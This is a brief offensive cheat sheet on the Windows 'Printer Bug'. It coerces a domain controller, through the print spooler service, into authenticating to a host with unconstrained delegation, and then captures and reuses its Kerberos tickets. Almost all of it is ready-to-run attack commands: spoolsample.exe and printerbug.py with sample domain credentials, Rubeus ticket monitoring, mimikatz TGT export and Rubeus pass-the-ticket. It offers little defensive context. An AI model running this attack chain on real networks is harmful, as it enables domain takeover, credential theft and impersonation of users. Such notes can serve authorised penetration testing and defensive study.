Printer Bug
Using spooler service to authenticate between domain computers(that runs spooler svc). Attackers can monitor incoming tickets with Rubeus
.
- Verify that remote computer has spooler service running
ls \\dc01.contoso.local\pipe\spoolss
- Download spoolsample here and run the following command to authenticate and capture ticket.
# run this on domain joined computers
spoolsample.exe dc01.contoso.local ms01.contoso.local
# or can use this command for linux workstation
python3 printerbug.py contoso.local/donald:'Changeme123'@10.200.60.202 10.50.57.128
# monitor ticket
Rubeus.exe monitor /interval:5
Extract TGT
Since unconstrained computers will save users tgt (logged in users). We will extract this keys and able to impersonate them.
mimikatz# sekurlsa::tickets /export
Rubeus.exe ptt /ticket:ticket.kirbi
References